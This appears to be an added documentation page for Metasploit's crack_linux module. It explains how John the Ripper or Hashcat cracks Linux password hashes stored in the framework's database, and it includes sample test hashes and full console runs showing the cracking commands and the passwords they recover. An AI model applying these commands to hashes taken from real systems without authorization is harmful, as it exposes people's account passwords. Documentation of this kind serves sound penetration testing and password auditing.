```
@@ -0,0 +1,664 @@
## Vulnerable Application
This module attempts to use a password cracker to decode Linux
based password hashes, such as:
* `DES` based passwords
* `MD5` based passwords
* `BSDi` based passwords
* `bf`, `bcrypt`, or `blowfish` based passwords
* `SHA256` based passwords
* `SHA512` based passwords
| Common | John | Hashcat |
|----------|-------------|-------- |
| des | descript | 1500 |
| md5 | md5crypt | 500 |
| bsdi | bsdicrypt | 12400 |
| blowfish | bcrypt | 3200 |
| sha256 | sha256crypt | 7400 |
| sha512 | sha512crypt | 1800 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `des`, `md5`, `bsdi`, `blowfish`, `sha512`, or `sha256` password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_linux```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**BLOWFISH**
Crack Blowfish hashes. Default is `false`.
**BSDi**
Crack BSDi hashes. Default is `true`.
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DES**
Crack DES hashes. Default is `true`.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MD5**
Crack MD5 hashes. Default is `true`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHA256**
Crack SHA256 hashes. Default is `false`.
**SHA512**
Crack SHA12 hashes. Default is `false`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
echo "" > /root/.msf4/john.pot
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
echo "\$1\$O3JMY.Tw\$AdLnLjQ/5jXF9.fakegHv/:password" >> /root/.msf4/john.pot
echo "test" > /tmp/wordlist
echo "password" >> /tmp/wordlist
echo "toto" >> /tmp/wordlist
creds add user:des2_password hash:rEK1ecacw.7.c jtr:des
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
creds add user:des_55 hash:rDpJV6xlcXxRM jtr:des
creds add user:des_pot_55 hash:fakeV6xlcXxRM jtr:des
creds add user:des_passphrase hash:qiyh4XPJGsOZ2MEAyLkfWqeQ jtr:des
creds add user:md5_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
creds add user:md52_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
creds add user:md5_pot_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.fakegHv/ jtr:md5
creds add user:bsdi_password hash:_J9..K0AyUubDrfOgO4s jtr:bsdi
creds add user:sha256_password hash:$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 jtr:sha256
creds add user:sha512_password hash:$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 jtr:sha512
creds add user:blowfish_password hash:$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe jtr:bf
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, `blowfish true`, `sha256 true`, `sha512 true` to handle the bfish, sha256 and sha512 hashes,
and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_linux
resource (hashes_hashcat.rb)> set blowfish true
blowfish => true
resource (hashes_hashcat.rb)> set sha256 true
sha256 => true
resource (hashes_hashcat.rb)> set sha512 true
sha512 => true
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-28293-u4ihgb
[*] Wordlist file written out to /tmp/jtrtmp20190531-28293-19rhhdd
[*] Checking md5crypt hashes already cracked...
[*] Cracking md5crypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:20) 100.0g/s 76800p/s 76800c/s 76800C/s test3:::..tere!
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking md5crypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking md5crypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking md5crypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1303 md5crypt md5_password password Single
1304 md5crypt md52_password password Single
1305 md5crypt md5_pot_password password Already Cracked/POT
[*] Checking descrypt hashes already cracked...
[*] Cracking descrypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:20) 100.0g/s 1102Kp/s 4410Kc/s 4410KC/s test3:::..t1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking descrypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
3g 0:00:00:00 DONE 1/3 (2019-05-31 15:20) 300.0g/s 614200p/s 614400c/s 614400C/s des_pass..Dde_pass
Warning: passwords printed above might be partial
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking descrypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking descrypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1298 descrypt des2_password password Single
1299 descrypt des_password password Single
1300 descrypt des_55 55 Normal
1301 descrypt des_pot_55 55 Already Cracked/POT
1302 descrypt des_passphrase passphrase Normal
1303 md5crypt md5_password password Single
1304 md5crypt md52_password password Single
1305 md5crypt md5_pot_password password Already Cracked/POT
[*] Checking bsdicrypt hashes already cracked...
[*] Cracking bsdicrypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:20) 50.00g/s 102400p/s 102400c/s 102400C/s test3:::..Tere6
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking bsdicrypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking bsdicrypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking bsdicrypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1298 descrypt des2_password password Single
1299 descrypt des_password password Single
1300 descrypt des_55 55 Normal
1301 descrypt des_pot_55 55 Already Cracked/POT
1302 descrypt des_passphrase passphrase Normal
1303 md5crypt md5_password password Single
1304 md5crypt md52_password password Single
1305 md5crypt md5_pot_password password Already Cracked/POT
1306 bsdicrypt bsdi_password password Single
[*] Checking bcrypt hashes already cracked...
[*] Cracking bcrypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:20) 33.33g/s 2400p/s 2400c/s 2400C/s test3:::..test::0
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking bcrypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking bcrypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking bcrypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1298 descrypt des2_password password Single
1299 descrypt des_password password Single
1300 descrypt des_55 55 Normal
1301 descrypt des_pot_55 55 Already Cracked/POT
1302 descrypt des_passphrase passphrase Normal
1303 md5crypt md5_password password Single
1304 md5crypt md52_password password Single
1305 md5crypt md5_pot_password password Already Cracked/POT
1306 bsdicrypt bsdi_password password Single
1309 bcrypt blowfish_password password Single
[*] Checking sha256crypt hashes already cracked...
[*] Cracking sha256crypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:20) 2.173g/s 8904p/s 8904c/s 8904C/s test3:::..1foo
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking sha256crypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking sha256crypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking sha256crypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1298 descrypt des2_password password Single
1299 descrypt des_password password Single
1300 descrypt des_55 55 Normal
1301 descrypt des_pot_55 55 Already Cracked/POT
1302 descrypt des_passphrase passphrase Normal
1303 md5crypt md5_password password Single
1304 md5crypt md52_password password Single
1305 md5crypt md5_pot_password password Already Cracked/POT
1306 bsdicrypt bsdi_password password Single
1307 sha256crypt sha256_password password Single
1309 bcrypt blowfish_password password Single
[*] Checking sha512crypt hashes already cracked...
[*] Cracking sha512crypt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 15:20) 4.545g/s 4654p/s 4654c/s 4654C/s test3:::..test2::k
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking sha512crypt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking sha512crypt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[*] Cracking sha512crypt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1298 descrypt des2_password password Single
1299 descrypt des_password password Single
1300 descrypt des_55 55 Normal
1301 descrypt des_pot_55 55 Already Cracked/POT
1302 descrypt des_passphrase passphrase Normal
1303 md5crypt md5_password password Single
1304 md5crypt md52_password password Single
1305 md5crypt md5_pot_password password Already Cracked/POT
1306 bsdicrypt bsdi_password password Single
1307 sha256crypt sha256_password password Single
1308 sha512crypt sha512_password password Single
1309 bcrypt blowfish_password password Single
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
des2_password rEK1ecacw.7.c Nonreplayable hash des
des_password rEK1ecacw.7.c Nonreplayable hash des
des_55 rDpJV6xlcXxRM Nonreplayable hash des
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
md5_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
md52_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
md5_pot_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.fakegHv/ Nonreplayable hash md5
bsdi_password _J9..K0AyUubDrfOgO4s Nonreplayable hash bsdi
sha256_password $5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 Nonreplayable hash sha256
sha512_password $6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 Nonreplayable hash sha512
blowfish_password $2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe Nonreplayable hash bf
md5_pot_password password Password
md5_password password Password
md52_password password Password
des_pot_55 55 Password
des2_password password Password
des_password password Password
des_55 55 Password
des_passphrase passphrase Password
bsdi_password password Password
blowfish_password password Password
sha256_password password Password
sha512_password password Password
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, `blowfish true`, `sha256 true`, `sha512 true` to handle the bfish, sha256 and sha512 hashes,
and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_linux
resource (hashes_hashcat.rb)> set blowfish true
blowfish => true
resource (hashes_hashcat.rb)> set sha256 true
sha256 => true
resource (hashes_hashcat.rb)> set sha512 true
sha512 => true
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-28535-hi2lkf
[*] Wordlist file written out to /tmp/jtrtmp20190531-28535-47c707
[*] Checking md5crypt hashes already cracked...
[*] Cracking md5crypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=p5KJBBFs --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=500 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking md5crypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=p5KJBBFs --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=500 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1327 md5crypt md5_password password Wordlist
1328 md5crypt md52_password password Wordlist
1329 md5crypt md5_pot_password password Already Cracked/POT
[*] Checking descrypt hashes already cracked...
[*] Cracking descrypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=8qLTJwqG --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking descrypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=8qLTJwqG --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1322 descrypt des2_password password Wordlist
1323 descrypt des_password password Wordlist
1324 descrypt des_55 55 Incremental
1325 descrypt des_pot_55 55 Already Cracked/POT
1327 md5crypt md5_password password Wordlist
1328 md5crypt md52_password password Wordlist
1329 md5crypt md5_pot_password password Already Cracked/POT
[*] Checking bsdicrypt hashes already cracked...
[*] Cracking bsdicrypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=RShDcHzl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12400 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking bsdicrypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=RShDcHzl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12400 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1322 descrypt des2_password password Wordlist
1323 descrypt des_password password Wordlist
1324 descrypt des_55 55 Incremental
1325 descrypt des_pot_55 55 Already Cracked/POT
1327 md5crypt md5_password password Wordlist
1328 md5crypt md52_password password Wordlist
1329 md5crypt md5_pot_password password Already Cracked/POT
1330 bsdicrypt bsdi_password password Wordlist
[*] Checking bcrypt hashes already cracked...
[*] Cracking bcrypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=wNHLTkTX --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3200 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking bcrypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=wNHLTkTX --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3200 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1322 descrypt des2_password password Wordlist
1323 descrypt des_password password Wordlist
1324 descrypt des_55 55 Incremental
1325 descrypt des_pot_55 55 Already Cracked/POT
1327 md5crypt md5_password password Wordlist
1328 md5crypt md52_password password Wordlist
1329 md5crypt md5_pot_password password Already Cracked/POT
1330 bsdicrypt bsdi_password password Wordlist
1333 bcrypt blowfish_password password Wordlist
[*] Checking sha256crypt hashes already cracked...
[*] Cracking sha256crypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=uNQu0c8S --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7400 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking sha256crypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=uNQu0c8S --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7400 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1322 descrypt des2_password password Wordlist
1323 descrypt des_password password Wordlist
1324 descrypt des_55 55 Incremental
1325 descrypt des_pot_55 55 Already Cracked/POT
1327 md5crypt md5_password password Wordlist
1328 md5crypt md52_password password Wordlist
1329 md5crypt md5_pot_password password Already Cracked/POT
1330 bsdicrypt bsdi_password password Wordlist
1331 sha256crypt sha256_password password Wordlist
1333 bcrypt blowfish_password password Wordlist
[*] Checking sha512crypt hashes already cracked...
[*] Cracking sha512crypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=0GST7Eb1 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1800 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking sha512crypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=0GST7Eb1 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1800 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1322 descrypt des2_password password Wordlist
1323 descrypt des_password password Wordlist
1324 descrypt des_55 55 Incremental
1325 descrypt des_pot_55 55 Already Cracked/POT
1327 md5crypt md5_password password Wordlist
1328 md5crypt md52_password password Wordlist
1329 md5crypt md5_pot_password password Already Cracked/POT
1330 bsdicrypt bsdi_password password Wordlist
1331 sha256crypt sha256_password password Wordlist
1332 sha512crypt sha512_password password Wordlist
1333 bcrypt blowfish_password password Wordlist
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
